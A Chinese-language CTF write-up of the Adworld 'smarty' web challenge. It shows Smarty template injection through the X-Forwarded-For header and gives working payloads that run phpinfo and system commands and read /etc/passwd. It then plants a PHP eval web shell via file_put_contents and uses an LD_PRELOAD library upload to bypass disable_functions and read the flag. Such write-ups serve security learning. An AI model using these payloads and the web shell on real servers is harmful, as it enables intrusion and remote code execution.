前言
继续ctf的旅程
开始攻防世界web高手进阶区的9分题
本文是smarty的writeup
解题过程
smarty是php模板引擎
这题应该是一个SSTI
进入界面
根据题目和页面最下方build with smarty
确认是用smarty模板
那就有两种可能的注入点:
- XFF
- client IP
尝试
将XFF头改为{7*7}
发现current IP的值变为了49
可以确定这里存在SSTI
尝试注入
{ $smarty.version}
得到smarty版本3.1.30
{ phpinfo()}
得到php版本7.2.24
注入方法:
- 常规
{}
{php}{/php}
标签,已经弃用,在Smarty 3.1,{php}仅在SmartyBC中可用{literal}
标签,在php5中可以用- 静态方法,在在3.1.30的Smarty中被删除
{if}
标签
总结一下就是在本题中只有常规{}
和{if}
标签可用
先试试常规
{ system('ls')}
没有显示
但之前phpinfo是正常显示的
就迷惑了
试试{if}
标签
{ if phpinfo()}{ /if}
phpinfo显示
{ if system('ls')}{ /if}
ls指令又失败了
不死心试试其他注入方法
{ php}phpinfo();{ /php}
{ self::getStreamVariable("file:///etc/passwd")}
都意料之内的直接失败
这说明注入方法还是常规{}
或{if}
标签
但是system可能被干掉了
去看眼phpinfo里面的信息
发现system果然被禁了
且可访问的地址是/var/www/html/
这感觉是可以上传文件进行突破
但一时没有思路
查了好一会儿资料
。。。。。。
这里参考无需sendmail:巧用LD_PRELOAD突破disable_functions
一句话木马
{ if file_put_contents("/var/www/html/shell.php","<?php @eval($_POST['helter']);?>")}{ /if}
蚁剑连接
根据文章
上传bypass_disablefunc.php和bypass_disablefunc_x64.so
具体代码在作者的github上
url访问
/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so
成功得到flag
结语
smarty的模板注入没啥问题,了解下就懂了
后面巧用LD_PRELOAD突破disable_functions有点妙
也查了好久
学到了
知识点
- smarty模板注入
- 巧用LD_PRELOAD突破disable_functions
几篇参考
- Smarty SSTI
- [BJDCTF2020]The mystery of ip(xff,smarty模板注入)
- PHP的模板注入(Smarty模板)
- 无需sendmail:巧用LD_PRELOAD突破disable_functions